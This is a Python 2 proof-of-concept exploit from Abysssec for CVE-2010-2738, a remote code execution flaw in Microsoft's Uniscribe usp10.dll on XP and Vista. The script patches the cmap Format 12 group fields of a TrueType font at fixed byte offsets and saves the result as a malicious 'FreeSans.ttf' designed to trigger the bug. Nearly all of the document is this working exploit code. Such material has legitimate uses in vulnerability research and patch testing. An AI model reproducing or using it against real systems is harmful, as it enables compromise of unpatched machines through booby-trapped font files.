'''
________ __ ____
|\/|/ __ \ /\| || |_ \
| \/ | || | /\ | || | |_) |
| |\/| | || |/ /\ \| || |_ <(Final Binary Analysis)
| || | |__| / ____ \ |__| | |_) |
|_||_|\____/_/\_\____/|____/
'''
'''
Title : Microsoft Unicode Scripts Processor Remote Code Execution
Version : usp10.dll XP , Vista
Analysis: http://www.abysssec.com
Vendor: http://www.microsoft.com
Impact: Critical
Contact : shahin [at] abysssec.com , info[at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-2738
MOAUB Number: MOAUB-FINAL
http://www.exploit-db.com/moaub-30-microsoft-unicode-scripts-processor-remote-code-execution-ms10-063/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15158.zip (moaub-30-PoC.zip)
'''
import sys
import struct
def main():
try:
fdR = open('src.ttf', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:18316]
nGroups = '\x00\x00\x00\xDC'# nGroups field from Format 12 subtableof cmap table
startCharCode = '\x00\xE5\xF7\x20'# startCharCodefield from a Group Structure
endCharCode= '\x00\xE5\xF7\xFE' # endCharCodefield from a Group Structure
str2 = strTotal[18328:]
fdW= open('FreeSans.ttf', 'wb+')
fdW.write(str1)
fdW.write(nGroups)
fdW.write(startCharCode)
fdW.write(endCharCode)
fdW.write(str2)
fdW.close()
fdR.close()
print '[-] Font file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()